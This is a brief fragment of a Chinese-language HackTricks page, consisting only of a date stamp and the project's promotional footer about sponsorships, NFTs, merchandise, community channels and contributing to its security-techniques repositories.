2023-08-03 19:12:22 +00:00
* 您在**网络安全公司**工作吗您想在HackTricks中**为您的公司做广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>